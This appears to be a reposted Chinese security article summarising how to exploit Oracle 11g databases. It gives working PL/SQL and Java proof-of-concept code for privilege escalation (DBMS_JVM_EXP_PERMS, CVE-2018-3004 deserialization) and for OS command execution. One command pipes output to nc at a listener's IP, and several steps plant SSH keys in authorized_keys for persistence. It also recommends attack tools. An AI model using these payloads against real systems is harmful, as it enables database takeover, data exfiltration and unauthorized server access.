Oracle 11g 利用方式总结 | xxxOracle 11g 利用方式总结 – xxx
菜单

Oracle 11g 利用方式总结

十月 31, 2021 - FreeBuf

用户权限

1)Oracle默认有三个用户:sys 、 system 、 scott

2)Oracle 提供了三个登陆身份:sysdba 系统管理员身份、sysoper 系统操作员身份、normal 普通身份

注:sys不能用normal权限登录,仅能用sysdbasysoper权限登录

3)Oracle 提供三种标准角色,是若干权限的集合:dba、resource、connect。dba角色拥有全部特权,是最高权限角色

java权限

在Oracle中可以配合java代码使用,同时还对java代码的权限做了单独的限制,对于java权限有以下利用,后面会单独说到提权操作

1)查询java权限

select * from dba_java_policy;	#全部用户 select * from user_java_policy;	#当前用户 

2)权限赋权(需要dba权限)

# 文件读写权限 exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute'); # 执行任意代码的权限赋权 exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); 

在Oracle中执行java代码需要安装jvm组件,该组件可以在sys用户上手动安装

# 在sqlplus下以sys登陆,执行$ORACLE_HOME/javavm/install/initjvm.sql,安装jvm组件 SQL>@?/javavm/install/initjvm.sql; 

信息收集

获取数据库信息

# 查询 Oracle 版本信息 SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT version FROM v$instance; # 当前数据库名 SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; # 查询出所有的表 select * from all_tables # 查询出当前用户的表 select * from user_tables # 查询出所有的字段 select * from all_tab_columns 

获取用户信息

# 获取当前数据库用户 SELECT user FROM dual; select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual; # 所有数据库用户 SELECT username FROM all_users ORDER BY username; # 当前用户权限 SELECT * FROM session_privs; #	查看当前连接用户是否为DBA select userenv('ISDBA') from dual; # 查看有哪些DBA用户 select * from dba_role_privs where granted_role='DBA'; # 列出 DBA 账户 SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; # 所有用户的权限 SELECT * FROM dba_sys_privs; # 用户角色: SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; SELECT DISTINCT grantee FROM dba_sys_privs; # 所有用户java权限 select * from DBA_JAVA_POLICY; # 当前用户java权限 select * from USER_JAVA_POLICY; 

存储过程查询

# 查看当前用户 select * from user_procedures WHERE object_type='PROCEDURE'; # 查看所有用户(注意有权限) select * from all_objects where object_type='PROCEDURE'; # 查看函数就把 object_type='FUNCTION' 

web环境注入

如果只能通过web程序sql注入点注入sql语句,不能连接上Oracle服务器,这种情况只能注入简单的sql语句,无法直接 PL/SQL 语句,我们需要借助另外的函数:

DBMS_XMLQUERY.newContext(); DBMS_XMLQUERY.getXML(); 

这两个函数允许传入一个参数,并将其作为 SQL 语句进行执行

提权

DBMS_JVM_EXP_PERMS

在 Oracle 11g 中存在一个逻辑漏洞:只要拥有 CREATE SESSION 的权限,便可以赋予任意 Java 权限。这是因为允许了 public 调用 DBMS_JVM_EXP_PERMS 中的函数

这是 David Litchfield 大屌在 BlackHat DC 2010 给出的 PoC:获得FilePermission权限,在pl/sql环境下运行

DECLARE     POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;     CURSOR C1 IS SELECT 'GRANT','用户名', 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual; BEGIN     OPEN C1;         FETCH C1 BULK COLLECT INTO POL;     CLOSE C1;     DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; 

任意代码执行还需要获得RuntimePermission

DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / 

create_change_set

官方介绍:https://docs.oracle.com/cd/B19306_01/appdev.102/b14258/d_cdcpub.htm#i86667

使用 sys.dbms_cdc_publish.create_change_set 提权

影响版本:10gR1, 10gR2, 11g R1 and 11gR2 #fixed 2010.10

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin SYS.LT.CREATEWORKSPACE(''''A10'''''''' and TEST.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA CE(''''A10'''''''' and TEST.pwn()=''''''''x'''');end;''; commit; end;') from dual 

测试失败

直接执行系统命令的漏洞

DBMS_JAVA_TEST.FUNCALL()

影响版本: 10g R2, 11g R1, 11g R2

权限:Java Permissions

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual; 

这个是没有回显的,执行时Oracle响应的是下面的信息,到服务器上看命令是已经执行了的

Oracle 11g 利用方式总结

测试中没有 DBA 权限的用户执行poc会报如下错误:

ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to STUDENT. The PL/SQL to grant this is dbms_java.grant_permission( 'STUDENT', 'SYS:java.io.FilePermission', '/bin/bash', 'execute' ) 

按照提示给用户授权后还是不行,目前看来只有dba用户可以执行该POC,同时测试时反弹shell也没有成功,利用方式比较有限

至于 FilePermission 问题尝试提权获取

DBMS_JAVA.RUNJAVA

影响版本:10g R2, 11g R1, 11g R2

权限:Java Permissions

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL; 

虽然这两个利用函数不能回显命令执行结果,但可以尝试下面的利用

1)可以使用如下命令利用管道把结果回显出去

SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /usr/bin/bash -c "/bin/ls|/usr/bin/nc 192.168.40.253 9999"') FROM DUAL; 

服务器监听结果,效率也不是很高
Oracle 11g 利用方式总结2)命令执行上有限,但能写东西也就足够了,比如写ssh公钥到.ssh目录,写计划任务等

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/usr/bin/mkdir /home/oracle/.ssh') from dual; Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','echo "ssh公钥"> /home/oracle/.ssh/authorized_keys') from dual; 

XML序列化任意文件写入

参考:https://ginove.github.io/2018/07/30/%E5%9F%BA%E4%BA%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84Oracle%E6%8F%90%E6%9D%83/

测试版本:Oracle 11g

漏洞编号:CVE-2018-3004

利用反序列化绕过JVM权限,只需要有创建存储过程的权限就行,利用方式如下:

创建以下Java类“DecodeMe”和一个调用此类的Java存储过程:

create or rep1ace and compile java source named DecodeMe as import java.io.*; import java.beans.*; public class DecodeMe{     public static void input(String xml) throws InterruptedException, IOException {       XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));       Object object = decoder.readObject();       System.out.println(object.toString());       decoder.close();           } } ; /  CREATE OR REP1ACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS     language java name 'DecodeMe.input(java.lang.String)'; / 

反序列化过程绕过了JVM权限设置,并允许用户随意写入操作系统上的文件。其中写入公钥文件这种东西,危害是最大的,示例POC:

BEGIN    decodeme('                 <java class="java.beans.XMLDecoder" version="1.4.0" >                    <object class="java.io.FileWriter">                       <string>/home/oracle/.ssh/authorized_keys</string>                       <boolean>True</boolean>                       <void method="write">                       	<string> 写入的公钥             						</string>                       </void>                       <void method="close" />                    </object>                 </java>'); END; / 

实战中要注意两个细节

1)换行问题,我们写入的内容是追加在authorized_keys文件上的,且没有换行,为了保证写入的公钥能被使用需要单独成行,我这里试了写”n”换行符失败,最后还是手动换行写进去

2)目录问题,如果目标机器没有使用过ssh登陆,很大概率是没有 .ssh 目录的,该poc不能强制生成目录

没有目录写入authorized_keys文件遇到如下报错

ERROR at line 1: ORA-29532: Java call terminated by uncaught Java exception: java.lang.NullPointerException ORA-06512: at "ZHANGWEI.DECODEME", line 1 ORA-06512: at line 2 

利用java

Oracle 数据库一个比较大的特点是对 Java 语言的支持,其发行时已经携带了 JDK 工具。同时存储过程也可以使用 Java 进行编写,我们可以通过调用 Java 平台的 API 来执行系统命令

下面示例使用 sqlplus 环境执行成功,权限限制主要为java权限

命令执行

1)创建JAVA Source

在 PL/SQL 中创建并编译 Java 源码的语句:

create or rep1ace and compile java source named "LinxUtil"  as      import java.io.*;     public class LinxUtil extends Object {         public static String runCMD(String args) {             try{                 BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );                  String stemp,str="";                 while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();                 return str;             }              catch (Exception e){return e.toString();             }         }     } / 

2)创建函数

我这步报了很多次错,可以使用show error查看具体的错误并修改

create or rep1ace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as  language java name 'LinxUtil.runCMD(java.lang.String) return String'; / 

这里创建一个存储过程也是可以的,但似乎存储过程不能回显执行的命令,这里还是推荐使用创建函数的方式

3)赋予执行权限

如果权限不够的需要执行此步提权,权限要求是RuntimePermission

Oracle 11g一般使用DBMS_JVM_EXP_PERMS提权,Oracle使用GET_DOMAIN_INDEX_TABLES提权

4)使用函数

SQL> select LinxRunCMD('whoami') from dual;  LINXRUNCMD('WHOAMI') -------------------------------------------------------------------------------- oracle 

利用工具推荐

OracleShell

项目地址:https://github.com/jas502n/oracleShell

该工具有图形化界面,操作十分简单,具有提权命令执行的功能
Oracle 11g 利用方式总结
注意:使用sys用户登陆时要用户名填写sys as sysdba,模式为DBA

odat

项目地址:https://github.com/quentinhardy/odat

还具有探测Oracle漏洞的功能,使用上体验比OracleShell好点

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# 数据库安全 # 数据安全 # 数据库漏洞

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51